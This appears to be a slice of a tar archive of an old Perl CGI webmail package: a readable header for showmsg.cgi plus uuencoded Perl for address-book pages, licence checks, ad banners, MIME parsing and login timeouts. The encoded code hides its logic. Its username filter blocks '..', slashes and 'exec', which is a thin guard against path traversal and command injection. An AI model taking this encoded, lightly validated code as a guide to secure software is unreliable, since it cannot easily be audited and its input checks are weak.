/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
/;7D@*"1Q<W1R:6YG*3L*
J:68@*"`D14Y6>R=215%515-47TU%5$A/1"=](&5Q(")03U-4(B`I('L*
M<F5A9"A35$1)3BPD<7-T<FEN9RPD14Y6>R=#3TY414Y47TQ%3D=42"=]+#`I
<('Q\(&1I92`B<F5A9"!E<G)O<CH@)"%<;B(["@``
)?2!E;'-E('L*
C)'%S=')I;F<@("`]("1%3E9[)U%515)97U-44DE.1R=].PH`
"?0H`
@;7D@0$1!5$$@/2!S<&QI="@O)B\L)'%S=')I;F<I.PH`
59F]R96%C:"`D7R`H0$1!5$$I('L*
C;7D@*"1N86UE+"1V86QU92D@/2!S<&QI="@O/2\L)%\I.PH`
@)'9A;'5E(#T@)G5N97-C87!E7W5R;"@D=F%L=64I.PH`
;:68@*"1N86UE(&5Q(")54T523D%-12(I('L*
4)'5S97)N86UE(#T@)'9A;'5E.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
"?0H`
"?0H`
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
M;7D@)&%D9&)O;VM?9FEL96YA;64@/2`B)'5S97)?9&ER;F%M92]A9&1R97-S
+8F]O:RYT>'0B.PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
J/'1I=&QE/B1,>R=796)M86EL($%D9')E<W,@0F]O:R=]/"]T:71L93X*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@3$E.2STD0WM,24Y+?2!!
@3$E.2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
59G5N8W1I;VX@57!D871E("@I('L*
M=F%R('1O("`]('=I;F1O=RYO<&5N97(N9&]C=6UE;G0N;7-G9F]R;2Y-4T=4
)3RYV86QU93L*
M=F%R(&-C("`]('=I;F1O=RYO<&5N97(N9&]C=6UE;G0N;7-G9F]R;2Y-4T=#
)0RYV86QU93L*
M=F%R(&)C8R`]('=I;F1O=RYO<&5N97(N9&]C=6UE;G0N;7-G9F]R;2Y-4T="
*0T,N=F%L=64["@``
M9F]R("AV87(@:3TP.R!I/&1O8W5M96YT+F9O<FUS+FQE;F=T:"TQ.R!I*RLI
#('L*
:9F]R("AV87(@:CTP.R!J/#,[(&HK*RD@>PH`
I=F%R(&]B:B`](&1O8W5M96YT+F9O<FUS6VE=+F5L96UE;G1S6VI=.PH`
3:68@*&]B:BYC:&5C:V5D*2!["@``
4<W=I=&-H("AO8FHN;F%M92D@>PH`
+8V%S92`B=&\B.@H`
4*'1O*2`F)B`H=&\@*ST@(B`B*0H`
==&\@*ST@9&]C=6UE;G0N9F]R;7-;:5TN;F%M90H`
&8G)E86L*
+8V%S92`B8V,B.@H`
4*&-C*2`F)B`H8V,@*ST@(B`B*0H`
=8V,@*ST@9&]C=6UE;G0N9F]R;7-;:5TN;F%M90H`
&8G)E86L*
,8V%S92`B8F-C(CH*
6*&)C8RD@)B8@*&)C8R`K/2`B("(I"@``
>8F-C("L](&1O8W5M96YT+F9O<FUS6VE=+FYA;64*
&8G)E86L*
)9&5F875L=#H*
&8G)E86L*
0?2`O+R!E;F0@<W=I=&-H"@``
,?2`O+R!E;F0@:68*
3?2`O+R!E;F0@:6YN97(@9F]R"@``
3?2`O+R!E;F0@;W5T97(@9F]R"@``
M=VEN9&]W+F]P96YE<BYD;V-U;65N="YM<V=F;W)M+DU31U1/+G9A;'5E(#T@
$=&\["@``
M=VEN9&]W+F]P96YE<BYD;V-U;65N="YM<V=F;W)M+DU31T-#+G9A;'5E(#T@
$8V,["@``
M=VEN9&]W+F]P96YE<BYD;V-U;65N="YM<V=F;W)M+DU31T)#0RYV86QU92`]
&(&)C8SL*
0=VEN9&]W+F-L;W-E*"D["@``
;?2`O+R!E;F0@9G5N8W1I;VX@57!D871E*"D*
?9G5N8W1I;VX@57!D871E4VEN9VQE*&%D9')E<W,I"@``
">PH`
M*'=I;F1O=RYO<&5N97(N9&]C=6UE;G0N;7-G9F]R;2Y-4T=43RYV86QU92D@
>)B8@*&%D9')E<W,@/2`B("(@*R!A9&1R97-S*3L*
M=VEN9&]W+F]P96YE<BYD;V-U;65N="YM<V=F;W)M+DU31U1/+G9A;'5E("L]
*(&%D9')E<W,["@``
0=VEN9&]W+F-L;W-E*"D["@``
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
M04-+?3X\8FEG/CQB/B1,>R=!9&1R97-S($)O;VLG?3PO8CX\+V)I9SX\8G(^
!"@``
M)$Q[)T-L:6-K(&]N('1H92!L:6YK<R`H:6X@8FQU92D@=&\@<V5N9"!E;6%I
8;"!T;R!O;F4@<&5R<V]N(&]N;'DN)WT*
$/'`^"@``
(2$52141/0PH`
<:68@*"UF("1A9&1B;V]K7V9I;&5N86UE*2!["@``
H;W!E;BA!1$1215-30D]/2RPB/"1A9&1B;V]K7V9I;&5N86UE(BD["@``
8=VAI;&4@*#Q!1$1215-30D]/2SXI('L*
L*"1N86UE+"1A9&1R97-S+"1D:7-P;&%Y*2`]('-P;&ET*"]<?"\L)%\I.PH`
@*"1D:7-P;&%Y(&5Q(")(241%7&XB*2`F)B!N97AT.PH`
0<')I;G0\/$A%4D5$3T,["@``
5/&9O<FT@;F%M93TD861D<F5S<SX*
B5&\Z(#QI;G!U="!T>7!E/6-H96-K8F]X(&YA;64]=&\^"@``
B0V,Z(#QI;G!U="!T>7!E/6-H96-K8F]X(&YA;64]8V,^"@``
D0F-C.B`\:6YP=70@='EP93UC:&5C:V)O>"!N86UE/6)C8SX*
M)FYB<W`[)FYB<W`[)FYB<W`[)FYB<W`[/&$@:')E9CU<(FIA=F%S8W)I<'0Z
M57!D871E4VEN9VQE*"<D861D<F5S<R<I7"(^/&(^)&YA;64\+V(^/"]A/B`\
=<VUA;&P^*"1A9&1R97-S*3PO<VUA;&P^/&)R/@H`
(/"]F;W)M/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
3/&9O<FT@;F%M93UU<&1A=&4^"@``
M/&EN<'5T('1Y<&4]8G5T=&]N(&YA;64]=7!D871E(&]N8VQI8VL](E5P9&%T
M92@I.R(@=F%L=64](B1,>R=!9&1R97-S(%1O(%-E;&5C=&5D(%5S97)S)WTB
"/@H`
M)FYB<W`[)FYB<W`[)FYB<W`[)FYB<W`[/&EN<'5T('1Y<&4](F)U='1O;B(@
M=F%L=64](B1,>R=#86YC96PG?2(@;VY#;&EC:STB=VEN9&]W+F-L;W-E*"D[
#(CX*
$/'`^"@``
3)$Q[)V%D9')E<W-?;F]T92=]"@``
(/"]F;W)M/@H`
(/"]F;VYT/@H`
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/showmsg.cgi100644    312    144      130006  7245677670  13210 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use Mail::Header;
use Mail::Address;
use MIME::Head;
use Text::Wrap;
$Text::Wrap::columns = 80;
$Text::Tabs::tabstop = 1;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
